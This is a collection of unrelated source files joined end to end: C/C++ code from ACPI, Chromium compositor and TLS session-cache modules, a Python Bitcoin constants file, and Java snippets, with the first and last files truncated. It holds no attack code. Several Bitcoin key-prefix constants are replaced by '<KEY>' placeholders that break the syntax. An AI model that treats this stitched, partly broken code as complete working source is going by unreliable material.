status_t ns_handle_to_pathname(acpi_handle targetHandle, acpi_data* buffer);
status_t walk_namespace(acpi_handle busDeviceHandle, uint32 objectType,
uint32 maxDepth, acpi_walk_callback descendingCallback,
acpi_walk_callback ascendingCallback, void* context, void** returnValue);
status_t evaluate_object(acpi_handle handle, const char* object,
acpi_objects* args, acpi_object_type* returnValue, size_t bufferLength);
status_t evaluate_method(acpi_handle handle, const char* method,
acpi_objects* args, acpi_data* returnValue);
status_t get_irq_routing_table(acpi_handle busDeviceHandle,
acpi_data* returnValue);
status_t get_current_resources(acpi_handle busDeviceHandle,
acpi_data* returnValue);
status_t get_possible_resources(acpi_handle busDeviceHandle,
acpi_data* returnValue);
status_t set_current_resources(acpi_handle busDeviceHandle,
acpi_data* buffer);
status_t walk_resources(acpi_handle busDeviceHandle, char* method,
acpi_walk_resources_callback callback, void* context);
status_t prepare_sleep_state(uint8 state, void (*wakeFunc)(void), size_t size);
status_t enter_sleep_state(uint8 state);
status_t reboot(void);
status_t get_table(const char* signature, uint32 instance, void** tableHeader);
__END_DECLS
#endif /* _ACPI_PRIVATE_H */
| 3,220 |
4,879 | #include "map/ads_engine_delegate.hpp"
#include "geometry/mercator.hpp"
namespace ads
{
AdsEngineDelegate::AdsEngineDelegate(storage::CountryInfoGetter const & infoGetter,
storage::Storage const & storage, promo::Api const & promoApi,
Purchase const & purchase, taxi::Engine const & taxiEngine)
: m_countryInfoGetter(infoGetter)
, m_storage(storage)
, m_promoApi(promoApi)
, m_purchase(purchase)
, m_taxiEngine(taxiEngine)
{
}
bool AdsEngineDelegate::IsAdsRemoved() const
{
return m_purchase.IsSubscriptionActive(SubscriptionType::RemoveAds);
}
storage::CountryId AdsEngineDelegate::GetCountryId(m2::PointD const & pos)
{
return m_countryInfoGetter.GetRegionCountryId(pos);
}
storage::CountryId AdsEngineDelegate::GetTopmostParentFor(storage::CountryId const & countryId) const
{
return m_storage.GetTopmostParentFor(countryId);
}
std::string AdsEngineDelegate::GetLinkForCountryId(storage::CountryId const & countryId) const
{
auto const & cities = m_storage.GetMwmTopCityGeoIds();
auto const it = cities.find(countryId);
if (it == cities.cend())
return {};
auto const cityGeoId = strings::to_string(it->second.GetEncodedId());
if (cityGeoId.empty())
return {};
return m_promoApi.GetLinkForDownloader(cityGeoId);
}
std::vector<taxi::Provider::Type> AdsEngineDelegate::GetTaxiProvidersAtPos(m2::PointD const & pos) const
{
return m_taxiEngine.GetProvidersAtPos(mercator::ToLatLon(pos));
}
} // namespace ads
| 580 |
474 | /* Copyright 2015 Samsung Electronics Co., LTD
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef FRAMEWORK_GL_MATERIAL_H
#define FRAMEWORK_GL_MATERIAL_H
#include <string>
#include "objects/shader_data.h"
#include "gl/gl_uniform_block.h"
namespace gvr
{
/**
* OpenGL implementation of Material which keeps uniform data
* in a GLUniformBlock.
*/
class GLMaterial : public ShaderData
{
public:
explicit GLMaterial(const char* uniform_desc, const char* texture_desc)
: ShaderData(texture_desc),
uniforms_(uniform_desc, MATERIAL_UBO_INDEX, "Material_ubo")
{
uniforms_.useGPUBuffer(false);
}
explicit GLMaterial(const char* uniform_desc, const char* texture_desc, int bindingPoint, const char* blockName)
: ShaderData(texture_desc),
uniforms_(uniform_desc, bindingPoint, blockName)
{
uniforms_.useGPUBuffer(true);
}
virtual ~GLMaterial() {}
virtual UniformBlock& uniforms()
{
return uniforms_;
}
void useGPUBuffer(bool flag)
{
uniforms_.useGPUBuffer(flag);
}
virtual const UniformBlock& uniforms() const
{
return uniforms_;
}
virtual int bindToShader(Shader* shader, Renderer* renderer);
protected:
GLUniformBlock uniforms_;
};
}
#endif //FRAMEWORK_GL_MATERIAL_H
| 758 |
575 | // Copyright 2019 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef BASE_TASK_SEQUENCE_MANAGER_TEST_MOCK_TIME_MESSAGE_PUMP_H_
#define BASE_TASK_SEQUENCE_MANAGER_TEST_MOCK_TIME_MESSAGE_PUMP_H_
#include "base/callback.h"
#include "base/message_loop/message_pump.h"
#include "base/optional.h"
#include "base/synchronization/waitable_event.h"
#include "base/time/time.h"
namespace base {
class SimpleTestTickClock;
namespace sequence_manager {
// MessagePump implementation that uses a SimpleTestTickClock to keep track of
// time and will advance it as needed to keep running tasks.
//
// This pump will actually check fail if it ever has to go to sleep as this
// would indicate that the unit test might block indefinitely.
// TODO(carlscab): In the future we could consider sleeping if there is no
// outstanding |delayed_work_time_|, because we could be woken up by concurrent
// ScheduleWork() calls.
class MockTimeMessagePump : public MessagePump {
public:
explicit MockTimeMessagePump(SimpleTestTickClock* clock);
~MockTimeMessagePump() override;
// MessagePump implementation
void Run(Delegate* delegate) override;
void Quit() override;
void ScheduleWork() override;
void ScheduleDelayedWork(const TimeTicks& delayed_work_time) override;
// Returns the time at which the pump would have to wake up to be perform
// work.
TimeTicks next_wake_up_time() const { return next_wake_up_time_; }
// Quits after the first call to Delegate::DoWork(). Useful
// for tests that want to make sure certain things happen during a DoWork
// call.
void SetQuitAfterDoWork(bool quit_after_do_some_work) {
quit_after_do_some_work_ = quit_after_do_some_work;
}
// Allows this instance to advance the SimpleTestTickClock up to but not over
// |advance_until| when idle (i.e. when a regular pump would go to sleep).
// The clock will allways be advanced to |advance_until|, even if there are no
// tasks requiring it (i.e. delayed tasks to be run after
// |advance_until|) except for a value of TimeTicks::Max() which will advance
// the clock as long as there is pending delayed work.
void SetAllowTimeToAutoAdvanceUntil(TimeTicks advance_until) {
allow_advance_until_ = advance_until;
}
// Quit when this pump's Delegate is out of work (i.e. when a regular pump
// would go to sleep) and we are not allowed to advance the clock anymore.
void SetStopWhenMessagePumpIsIdle(bool stop_when_message_pump_is_idle) {
stop_when_message_pump_is_idle_ = stop_when_message_pump_is_idle;
}
private:
// Returns true if the clock was indeed advanced and thus we should attempt
// another iteration of the DoWork-DoIdleWork-loop.
bool MaybeAdvanceTime(TimeTicks target_time);
SimpleTestTickClock* const clock_;
// This flag is set to false when Run should return.
bool keep_running_ = true;
bool stop_when_message_pump_is_idle_ = false;
bool quit_after_do_some_work_ = false;
TimeTicks next_wake_up_time_{TimeTicks::Max()};
TimeTicks allow_advance_until_ = TimeTicks::Min();
};
} // namespace sequence_manager
} // namespace base
#endif // BASE_TASK_SEQUENCE_MANAGER_TEST_MOCK_TIME_MESSAGE_PUMP_H_
| 1,042 |
575 | // Copyright 2017 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "ash/fast_ink/fast_ink_host.h"
#include <GLES2/gl2.h>
#include <GLES2/gl2ext.h>
#include <GLES2/gl2extchromium.h>
#include <memory>
#include "ash/public/cpp/ash_switches.h"
#include "base/bind.h"
#include "base/threading/thread_task_runner_handle.h"
#include "cc/base/math_util.h"
#include "cc/trees/layer_tree_frame_sink.h"
#include "cc/trees/layer_tree_frame_sink_client.h"
#include "components/viz/common/frame_timing_details.h"
#include "components/viz/common/gpu/context_provider.h"
#include "components/viz/common/hit_test/hit_test_region_list.h"
#include "components/viz/common/quads/compositor_frame.h"
#include "components/viz/common/quads/texture_draw_quad.h"
#include "gpu/command_buffer/client/gpu_memory_buffer_manager.h"
#include "gpu/command_buffer/client/shared_image_interface.h"
#include "gpu/command_buffer/common/shared_image_usage.h"
#include "ui/aura/env.h"
#include "ui/aura/window.h"
#include "ui/aura/window_observer.h"
#include "ui/aura/window_tree_host.h"
#include "ui/gfx/geometry/dip_util.h"
#include "ui/gfx/geometry/rect.h"
#include "ui/gfx/geometry/rect_conversions.h"
#include "ui/gfx/geometry/size_conversions.h"
#include "ui/gfx/gpu_memory_buffer.h"
namespace fast_ink {
// static
gfx::Rect FastInkHost::BufferRectFromWindowRect(
const gfx::Transform& window_to_buffer_transform,
const gfx::Size& buffer_size,
const gfx::Rect& window_rect) {
gfx::Rect buffer_rect = cc::MathUtil::MapEnclosingClippedRect(
window_to_buffer_transform, window_rect);
// Buffer rect is not bigger than actual buffer.
buffer_rect.Intersect(gfx::Rect(buffer_size));
return buffer_rect;
}
struct FastInkHost::Resource {
Resource() = default;
~Resource() {
// context_provider might be null in unit tests when ran with --mash
// TODO(kaznacheev) Have MASH provide a context provider for tests
// when https://crbug/772562 is fixed
if (!context_provider)
return;
gpu::SharedImageInterface* sii = context_provider->SharedImageInterface();
DCHECK(!mailbox.IsZero());
sii->DestroySharedImage(sync_token, mailbox);
}
scoped_refptr<viz::ContextProvider> context_provider;
gpu::Mailbox mailbox;
gpu::SyncToken sync_token;
bool damaged = true;
};
class FastInkHost::LayerTreeFrameSinkHolder
: public cc::LayerTreeFrameSinkClient,
public aura::WindowObserver {
public:
LayerTreeFrameSinkHolder(FastInkHost* host,
std::unique_ptr<cc::LayerTreeFrameSink> frame_sink)
: host_(host), frame_sink_(std::move(frame_sink)) {
frame_sink_->BindToClient(this);
}
~LayerTreeFrameSinkHolder() override {
if (frame_sink_)
frame_sink_->DetachFromClient();
if (root_window_)
root_window_->RemoveObserver(this);
}
LayerTreeFrameSinkHolder(const LayerTreeFrameSinkHolder&) = delete;
LayerTreeFrameSinkHolder& operator=(const LayerTreeFrameSinkHolder&) = delete;
// Delete frame sink after having reclaimed all exported resources.
// Returns false if the it should be released instead of reset and it will
// self destruct.
// TODO(reveman): Find a better way to handle deletion of in-flight resources.
// https://crbug.com/765763
bool DeleteWhenLastResourceHasBeenReclaimed() {
if (last_frame_size_in_pixels_.IsEmpty()) {
// Delete sink holder immediately if no frame has been submitted.
DCHECK(exported_resources_.empty());
return true;
}
// Submit an empty frame to ensure that pending release callbacks will be
// processed in a finite amount of time.
viz::CompositorFrame frame;
frame.metadata.begin_frame_ack.frame_id =
viz::BeginFrameId(viz::BeginFrameArgs::kManualSourceId,
viz::BeginFrameArgs::kStartingFrameNumber);
frame.metadata.begin_frame_ack.has_damage = true;
frame.metadata.device_scale_factor = last_frame_device_scale_factor_;
frame.metadata.frame_token = ++next_frame_token_;
auto pass = viz::CompositorRenderPass::Create();
pass->SetNew(viz::CompositorRenderPassId{1},
gfx::Rect(last_frame_size_in_pixels_),
gfx::Rect(last_frame_size_in_pixels_), gfx::Transform());
frame.render_pass_list.push_back(std::move(pass));
frame_sink_->SubmitCompositorFrame(std::move(frame),
/*hit_test_data_changed=*/true,
/*show_hit_test_borders=*/false);
// Delete sink holder immediately if not waiting for exported resources to
// be reclaimed.
if (exported_resources_.empty())
return true;
// If we have exported resources to reclaim then extend the lifetime of
// holder by deleting it later.
// itself when the root window is removed or when all exported resources
// have been reclaimed.
root_window_ = host_->host_window()->GetRootWindow();
// This can be null during shutdown.
if (!root_window_)
return true;
root_window_->AddObserver(this);
host_ = nullptr;
return false;
}
void SubmitCompositorFrame(viz::CompositorFrame frame,
viz::ResourceId resource_id,
std::unique_ptr<Resource> resource) {
exported_resources_[resource_id] = std::move(resource);
last_frame_size_in_pixels_ = frame.size_in_pixels();
last_frame_device_scale_factor_ = frame.metadata.device_scale_factor;
frame.metadata.frame_token = ++next_frame_token_;
frame_sink_->SubmitCompositorFrame(std::move(frame),
/*hit_test_data_changed=*/true,
/*show_hit_test_borders=*/false);
}
void DamageExportedResources() {
for (auto& entry : exported_resources_)
entry.second->damaged = true;
}
// Overridden from cc::LayerTreeFrameSinkClient:
void SetBeginFrameSource(viz::BeginFrameSource* source) override {}
base::Optional<viz::HitTestRegionList> BuildHitTestData() override {
return {};
}
void ReclaimResources(
const std::vector<viz::ReturnedResource>& resources) override {
if (delete_pending_)
return;
for (auto& entry : resources) {
auto it = exported_resources_.find(entry.id);
DCHECK(it != exported_resources_.end());
std::unique_ptr<Resource> resource = std::move(it->second);
exported_resources_.erase(it);
resource->sync_token = entry.sync_token;
if (host_ && !entry.lost)
host_->ReclaimResource(std::move(resource));
}
if (root_window_ && exported_resources_.empty())
ScheduleDelete();
}
void SetTreeActivationCallback(base::RepeatingClosure callback) override {}
void DidReceiveCompositorFrameAck() override {
if (host_)
host_->DidReceiveCompositorFrameAck();
}
void DidPresentCompositorFrame(
uint32_t frame_token,
const viz::FrameTimingDetails& details) override {
if (host_)
host_->DidPresentCompositorFrame(details.presentation_feedback);
}
void DidLoseLayerTreeFrameSink() override {
exported_resources_.clear();
if (root_window_)
ScheduleDelete();
}
void OnDraw(const gfx::Transform& transform,
const gfx::Rect& viewport,
bool resourceless_software_draw,
bool skip_draw) override {}
void SetMemoryPolicy(const cc::ManagedMemoryPolicy& policy) override {}
void SetExternalTilePriorityConstraints(
const gfx::Rect& viewport_rect,
const gfx::Transform& transform) override {}
void OnWindowDestroying(aura::Window* window) override {
root_window_->RemoveObserver(this);
root_window_ = nullptr;
frame_sink_->DetachFromClient();
frame_sink_.reset();
ScheduleDelete();
}
private:
void ScheduleDelete() {
if (delete_pending_)
return;
delete_pending_ = true;
base::ThreadTaskRunnerHandle::Get()->DeleteSoon(FROM_HERE, this);
}
FastInkHost* host_;
std::unique_ptr<cc::LayerTreeFrameSink> frame_sink_;
base::flat_map<viz::ResourceId, std::unique_ptr<Resource>>
exported_resources_;
viz::FrameTokenGenerator next_frame_token_;
gfx::Size last_frame_size_in_pixels_;
float last_frame_device_scale_factor_ = 1.0f;
aura::Window* root_window_ = nullptr;
bool delete_pending_ = false;
};
FastInkHost::FastInkHost(aura::Window* host_window,
const PresentationCallback& presentation_callback)
: host_window_(host_window), presentation_callback_(presentation_callback) {
// Take the root transform and apply this during buffer update instead of
// leaving this up to the compositor. The benefit is that HW requirements
// for being able to take advantage of overlays and direct scanout are
// reduced significantly. Frames are submitted to the compositor with the
// inverse transform to cancel out the transformation that would otherwise
// be done by the compositor.
window_to_buffer_transform_ = host_window_->GetHost()->GetRootTransform();
gfx::Rect bounds(host_window_->GetBoundsInScreen().size());
buffer_size_ =
gfx::ToEnclosedRect(cc::MathUtil::MapClippedRect(
window_to_buffer_transform_,
gfx::RectF(bounds.width(), bounds.height())))
.size();
// Create a single GPU memory buffer. Content will be written into this
// buffer without any buffering. The result is that we might be modifying
// the buffer while it's being displayed. This provides minimal latency
// but with potential tearing. Note that we have to draw into a temporary
// surface and copy it into GPU memory buffer to avoid flicker.
gpu_memory_buffer_ =
aura::Env::GetInstance()
->context_factory()
->GetGpuMemoryBufferManager()
->CreateGpuMemoryBuffer(buffer_size_,
SK_B32_SHIFT ? gfx::BufferFormat::RGBA_8888
: gfx::BufferFormat::BGRA_8888,
gfx::BufferUsage::SCANOUT_CPU_READ_WRITE,
gpu::kNullSurfaceHandle);
LOG_IF(ERROR, !gpu_memory_buffer_) << "Failed to create GPU memory buffer";
if (ash::switches::ShouldClearFastInkBuffer()) {
bool map_result = gpu_memory_buffer_->Map();
LOG_IF(ERROR, !map_result) << "Failed to map gpu buffer";
uint8_t* memory = static_cast<uint8_t*>(gpu_memory_buffer_->memory(0));
if (memory != nullptr) {
gfx::Size size = gpu_memory_buffer_->GetSize();
int stride = gpu_memory_buffer_->stride(0);
// Clear the buffer before usage, since it may be uninitialized.
// (http://b/168735625)
for (int i = 0; i < size.height(); ++i)
memset(memory + i * stride, 0, size.width() * 4);
}
gpu_memory_buffer_->Unmap();
}
frame_sink_holder_ = std::make_unique<LayerTreeFrameSinkHolder>(
this, host_window_->CreateLayerTreeFrameSink());
}
FastInkHost::~FastInkHost() {
if (!frame_sink_holder_->DeleteWhenLastResourceHasBeenReclaimed())
frame_sink_holder_.release();
}
void FastInkHost::UpdateSurface(const gfx::Rect& content_rect,
const gfx::Rect& damage_rect,
bool auto_refresh) {
content_rect_ = content_rect;
damage_rect_.Union(damage_rect);
auto_refresh_ = auto_refresh;
pending_compositor_frame_ = true;
if (!damage_rect.IsEmpty()) {
frame_sink_holder_->DamageExportedResources();
for (auto& resource : returned_resources_)
resource->damaged = true;
}
if (!pending_compositor_frame_ack_)
SubmitCompositorFrame();
}
void FastInkHost::SubmitCompositorFrame() {
TRACE_EVENT1("ui", "FastInkHost::SubmitCompositorFrame", "damage",
damage_rect_.ToString());
float device_scale_factor = host_window_->layer()->device_scale_factor();
gfx::Size window_size_in_dip = host_window_->GetBoundsInScreen().size();
// TODO(crbug.com/1131619): Should this be ceil? Why do we choose floor?
gfx::Size window_size_in_pixel = gfx::ToFlooredSize(
gfx::ConvertSizeToPixels(window_size_in_dip, device_scale_factor));
gfx::Rect output_rect(window_size_in_pixel);
gfx::Rect quad_rect;
gfx::Rect damage_rect;
// Continuously redraw the full output rectangle when in auto-refresh mode.
// This is necessary in order to allow single buffered updates without having
// buffer changes outside the contents area cause artifacts.
if (auto_refresh_) {
quad_rect = gfx::Rect(buffer_size_);
damage_rect = gfx::Rect(output_rect);
} else {
// Use minimal quad and damage rectangles when auto-refresh mode is off.
quad_rect = BufferRectFromWindowRect(window_to_buffer_transform_,
buffer_size_, content_rect_);
damage_rect = gfx::ToEnclosingRect(
gfx::ConvertRectToPixels(damage_rect_, device_scale_factor));
damage_rect.Intersect(output_rect);
pending_compositor_frame_ = false;
}
damage_rect_ = gfx::Rect();
std::unique_ptr<Resource> resource;
// Reuse returned resource if available.
if (!returned_resources_.empty()) {
resource = std::move(returned_resources_.back());
returned_resources_.pop_back();
}
// Create new resource if needed.
if (!resource)
resource = std::make_unique<Resource>();
if (resource->damaged) {
// Acquire context provider for resource if needed.
// Note: We make no attempts to recover if the context provider is later
// lost. It is expected that this class is short-lived and requiring a
// new instance to be created in lost context situations is acceptable and
// keeps the code simple.
if (!resource->context_provider) {
resource->context_provider = aura::Env::GetInstance()
->context_factory()
->SharedMainThreadContextProvider();
if (!resource->context_provider) {
LOG(ERROR) << "Failed to acquire a context provider";
return;
}
}
gpu::SharedImageInterface* sii =
resource->context_provider->SharedImageInterface();
if (resource->mailbox.IsZero()) {
DCHECK(!resource->sync_token.HasData());
const uint32_t usage =
gpu::SHARED_IMAGE_USAGE_DISPLAY | gpu::SHARED_IMAGE_USAGE_SCANOUT;
gpu::GpuMemoryBufferManager* gmb_manager =
aura::Env::GetInstance()
->context_factory()
->GetGpuMemoryBufferManager();
resource->mailbox = sii->CreateSharedImage(
gpu_memory_buffer_.get(), gmb_manager, gfx::ColorSpace(),
kTopLeft_GrSurfaceOrigin, kPremul_SkAlphaType, usage);
} else {
sii->UpdateSharedImage(resource->sync_token, resource->mailbox);
}
resource->sync_token = sii->GenVerifiedSyncToken();
resource->damaged = false;
}
viz::TransferableResource transferable_resource;
transferable_resource.id = id_generator_.GenerateNextId();
transferable_resource.format = viz::RGBA_8888;
transferable_resource.filter = GL_LINEAR;
transferable_resource.size = buffer_size_;
transferable_resource.mailbox_holder = gpu::MailboxHolder(
resource->mailbox, resource->sync_token, GL_TEXTURE_2D);
// Use HW overlay if continuous updates are expected.
transferable_resource.is_overlay_candidate = auto_refresh_;
gfx::Transform target_to_buffer_transform(window_to_buffer_transform_);
target_to_buffer_transform.Scale(1.f / device_scale_factor,
1.f / device_scale_factor);
gfx::Transform buffer_to_target_transform;
bool rv = target_to_buffer_transform.GetInverse(&buffer_to_target_transform);
DCHECK(rv);
const viz::CompositorRenderPassId kRenderPassId{1};
auto render_pass = viz::CompositorRenderPass::Create();
render_pass->SetNew(kRenderPassId, output_rect, damage_rect,
buffer_to_target_transform);
viz::SharedQuadState* quad_state =
render_pass->CreateAndAppendSharedQuadState();
quad_state->SetAll(
buffer_to_target_transform,
/*quad_layer_rect=*/output_rect,
/*visible_quad_layer_rect=*/output_rect,
/*mask_filter_info=*/gfx::MaskFilterInfo(),
/*clip_rect=*/gfx::Rect(),
/*is_clipped=*/false, /*are_contents_opaque=*/false, /*opacity=*/1.f,
/*blend_mode=*/SkBlendMode::kSrcOver, /*sorting_context_id=*/0);
viz::CompositorFrame frame;
// TODO(eseckler): FastInkHost should use BeginFrames and set the ack
// accordingly.
frame.metadata.begin_frame_ack =
viz::BeginFrameAck::CreateManualAckWithDamage();
frame.metadata.device_scale_factor = device_scale_factor;
viz::TextureDrawQuad* texture_quad =
render_pass->CreateAndAppendDrawQuad<viz::TextureDrawQuad>();
float vertex_opacity[4] = {1.0f, 1.0f, 1.0f, 1.0f};
gfx::RectF uv_crop(quad_rect);
uv_crop.Scale(1.f / buffer_size_.width(), 1.f / buffer_size_.height());
texture_quad->SetNew(
quad_state, quad_rect, quad_rect,
/*needs_blending=*/true, transferable_resource.id,
/*premultiplied_alpha=*/true, uv_crop.origin(), uv_crop.bottom_right(),
/*background_color=*/SK_ColorTRANSPARENT, vertex_opacity,
/*y_flipped=*/false,
/*nearest_neighbor=*/false,
/*secure_output_only=*/false, gfx::ProtectedVideoType::kClear);
texture_quad->set_resource_size_in_pixels(transferable_resource.size);
frame.resource_list.push_back(transferable_resource);
DCHECK(!pending_compositor_frame_ack_);
pending_compositor_frame_ack_ = true;
frame.render_pass_list.push_back(std::move(render_pass));
frame_sink_holder_->SubmitCompositorFrame(
std::move(frame), transferable_resource.id, std::move(resource));
}
void FastInkHost::SubmitPendingCompositorFrame() {
if (pending_compositor_frame_ && !pending_compositor_frame_ack_)
SubmitCompositorFrame();
}
void FastInkHost::DidReceiveCompositorFrameAck() {
pending_compositor_frame_ack_ = false;
if (pending_compositor_frame_) {
base::ThreadTaskRunnerHandle::Get()->PostTask(
FROM_HERE, base::BindOnce(&FastInkHost::SubmitPendingCompositorFrame,
weak_ptr_factory_.GetWeakPtr()));
}
}
void FastInkHost::DidPresentCompositorFrame(
const gfx::PresentationFeedback& feedback) {
if (!presentation_callback_.is_null())
presentation_callback_.Run(feedback);
}
void FastInkHost::ReclaimResource(std::unique_ptr<Resource> resource) {
returned_resources_.push_back(std::move(resource));
}
} // namespace fast_ink
| 7,214 |
14,668 | <filename>net/ssl/ssl_client_session_cache.cc<gh_stars>1000+
// Copyright 2015 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "net/ssl/ssl_client_session_cache.h"
#include <tuple>
#include <utility>
#include "base/containers/flat_set.h"
#include "base/time/clock.h"
#include "base/time/default_clock.h"
#include "third_party/boringssl/src/include/openssl/ssl.h"
namespace net {
namespace {
// Returns a tuple of references to fields of |key|, for comparison purposes.
auto TieKeyFields(const SSLClientSessionCache::Key& key) {
return std::tie(key.server, key.dest_ip_addr, key.network_isolation_key,
key.privacy_mode, key.disable_legacy_crypto);
}
} // namespace
SSLClientSessionCache::Key::Key() = default;
SSLClientSessionCache::Key::Key(const Key& other) = default;
SSLClientSessionCache::Key::Key(Key&& other) = default;
SSLClientSessionCache::Key::~Key() = default;
SSLClientSessionCache::Key& SSLClientSessionCache::Key::operator=(
const Key& other) = default;
SSLClientSessionCache::Key& SSLClientSessionCache::Key::operator=(Key&& other) =
default;
bool SSLClientSessionCache::Key::operator==(const Key& other) const {
return TieKeyFields(*this) == TieKeyFields(other);
}
bool SSLClientSessionCache::Key::operator<(const Key& other) const {
return TieKeyFields(*this) < TieKeyFields(other);
}
SSLClientSessionCache::SSLClientSessionCache(const Config& config)
: clock_(base::DefaultClock::GetInstance()),
config_(config),
cache_(config.max_entries),
lookups_since_flush_(0) {
memory_pressure_listener_ = std::make_unique<base::MemoryPressureListener>(
FROM_HERE, base::BindRepeating(&SSLClientSessionCache::OnMemoryPressure,
base::Unretained(this)));
}
SSLClientSessionCache::~SSLClientSessionCache() {
Flush();
}
size_t SSLClientSessionCache::size() const {
return cache_.size();
}
bssl::UniquePtr<SSL_SESSION> SSLClientSessionCache::Lookup(
const Key& cache_key) {
// Expire stale sessions.
lookups_since_flush_++;
if (lookups_since_flush_ >= config_.expiration_check_count) {
lookups_since_flush_ = 0;
FlushExpiredSessions();
}
auto iter = cache_.Get(cache_key);
if (iter == cache_.end())
return nullptr;
time_t now = clock_->Now().ToTimeT();
bssl::UniquePtr<SSL_SESSION> session = iter->second.Pop();
if (iter->second.ExpireSessions(now))
cache_.Erase(iter);
if (IsExpired(session.get(), now))
session = nullptr;
return session;
}
void SSLClientSessionCache::Insert(const Key& cache_key,
bssl::UniquePtr<SSL_SESSION> session) {
auto iter = cache_.Get(cache_key);
if (iter == cache_.end())
iter = cache_.Put(cache_key, Entry());
iter->second.Push(std::move(session));
}
void SSLClientSessionCache::ClearEarlyData(const Key& cache_key) {
auto iter = cache_.Get(cache_key);
if (iter != cache_.end()) {
for (auto& session : iter->second.sessions) {
if (session) {
session.reset(SSL_SESSION_copy_without_early_data(session.get()));
}
}
}
}
void SSLClientSessionCache::FlushForServer(const HostPortPair& server) {
auto iter = cache_.begin();
while (iter != cache_.end()) {
if (iter->first.server == server) {
iter = cache_.Erase(iter);
} else {
++iter;
}
}
}
void SSLClientSessionCache::Flush() {
cache_.Clear();
}
void SSLClientSessionCache::SetClockForTesting(base::Clock* clock) {
clock_ = clock;
}
bool SSLClientSessionCache::IsExpired(SSL_SESSION* session, time_t now) {
if (now < 0)
return true;
uint64_t now_u64 = static_cast<uint64_t>(now);
// now_u64 may be slightly behind because of differences in how
// time is calculated at this layer versus BoringSSL.
// Add a second of wiggle room to account for this.
return now_u64 < SSL_SESSION_get_time(session) - 1 ||
now_u64 >=
SSL_SESSION_get_time(session) + SSL_SESSION_get_timeout(session);
}
SSLClientSessionCache::Entry::Entry() = default;
SSLClientSessionCache::Entry::Entry(Entry&&) = default;
SSLClientSessionCache::Entry::~Entry() = default;
void SSLClientSessionCache::Entry::Push(bssl::UniquePtr<SSL_SESSION> session) {
if (sessions[0] != nullptr &&
SSL_SESSION_should_be_single_use(sessions[0].get())) {
sessions[1] = std::move(sessions[0]);
}
sessions[0] = std::move(session);
}
bssl::UniquePtr<SSL_SESSION> SSLClientSessionCache::Entry::Pop() {
if (sessions[0] == nullptr)
return nullptr;
bssl::UniquePtr<SSL_SESSION> session = bssl::UpRef(sessions[0]);
if (SSL_SESSION_should_be_single_use(session.get())) {
sessions[0] = std::move(sessions[1]);
sessions[1] = nullptr;
}
return session;
}
bool SSLClientSessionCache::Entry::ExpireSessions(time_t now) {
if (sessions[0] == nullptr)
return true;
if (SSLClientSessionCache::IsExpired(sessions[0].get(), now)) {
return true;
}
if (sessions[1] != nullptr &&
SSLClientSessionCache::IsExpired(sessions[1].get(), now)) {
sessions[1] = nullptr;
}
return false;
}
void SSLClientSessionCache::FlushExpiredSessions() {
time_t now = clock_->Now().ToTimeT();
auto iter = cache_.begin();
while (iter != cache_.end()) {
if (iter->second.ExpireSessions(now)) {
iter = cache_.Erase(iter);
} else {
++iter;
}
}
}
void SSLClientSessionCache::OnMemoryPressure(
base::MemoryPressureListener::MemoryPressureLevel memory_pressure_level) {
switch (memory_pressure_level) {
case base::MemoryPressureListener::MEMORY_PRESSURE_LEVEL_NONE:
break;
case base::MemoryPressureListener::MEMORY_PRESSURE_LEVEL_MODERATE:
FlushExpiredSessions();
break;
case base::MemoryPressureListener::MEMORY_PRESSURE_LEVEL_CRITICAL:
Flush();
break;
}
}
} // namespace net
| 2,199 |
1,173 | <filename>bit/constants.py
# Transactions:
VERSION_1 = 0x01 .to_bytes(4, byteorder='little')
VERSION_2 = 0x02 .to_bytes(4, byteorder='little')
MARKER = b'\x00'
FLAG = b'\x01'
SEQUENCE = 0xFFFFFFFF .to_bytes(4, byteorder='little')
LOCK_TIME = 0x00 .to_bytes(4, byteorder='little')
HASH_TYPE = 0x01 .to_bytes(4, byteorder='little')
# Scripts:
OP_0 = b'\x00'
OP_CHECKLOCKTIMEVERIFY = b'\xb1'
OP_CHECKSIG = b'\xac'
OP_CHECKMULTISIG = b'\xae'
OP_DUP = b'v'
OP_EQUALVERIFY = b'\x88'
OP_HASH160 = b'\xa9'
OP_PUSH_20 = b'\x14'
OP_PUSH_32 = b'\x20'
OP_RETURN = b'\x6a'
OP_EQUAL = b'\x87'
MESSAGE_LIMIT = 80
# Address formats:
BECH32_VERSION_SET = ('bc', 'tb', 'bcrt')
BECH32_MAIN_VERSION_SET = BECH32_VERSION_SET[:1]
BECH32_TEST_VERSION_SET = BECH32_VERSION_SET[1:]
MAIN_PUBKEY_HASH = b'\x00'
MAIN_SCRIPT_HASH = b'\x05'
TEST_PUBKEY_HASH = b'\x6f'
TEST_SCRIPT_HASH = b'\xc4'
# Keys:
MAIN_PRIVATE_KEY = b'\x80'
MAIN_BIP32_PUBKEY = b'\<KEY>'
MAIN_BIP32_PRIVKEY = b'\<KEY>'
TEST_PRIVATE_KEY = b'\xef'
TEST_BIP32_PUBKEY = b'\<KEY>'
TEST_BIP32_PRIVKEY = b'\<KEY>'
PUBLIC_KEY_UNCOMPRESSED = b'\x04'
PUBLIC_KEY_COMPRESSED_EVEN_Y = b'\x02'
PUBLIC_KEY_COMPRESSED_ODD_Y = b'\x03'
PRIVATE_KEY_COMPRESSED_PUBKEY = b'\x01'
# Units:
# https://en.bitcoin.it/wiki/Units
SATOSHI = 1
uBTC = 10 ** 2
mBTC = 10 ** 5
BTC = 10 ** 8
| 672 |
476 | package me.xiaobailong24.mvvmarms.repository;
import android.content.Context;
import me.xiaobailong24.mvvmarms.repository.di.module.RepositoryConfigModule;
/**
* @author xiaobailong24
* @date 2017/9/28
* Repository 配置接口
*/
public interface ConfigRepository {
/**
* 使用 {@link RepositoryConfigModule.Builder} 给框架配置一些配置参数
*
* @param context Context
* @param builder GlobalConfigModule.Builder
*/
void applyOptions(Context context, RepositoryConfigModule.Builder builder);
}
| 214 |
622 | /**
* @author: salimt
*/
package model;
public class StandardSizedBook extends Book {
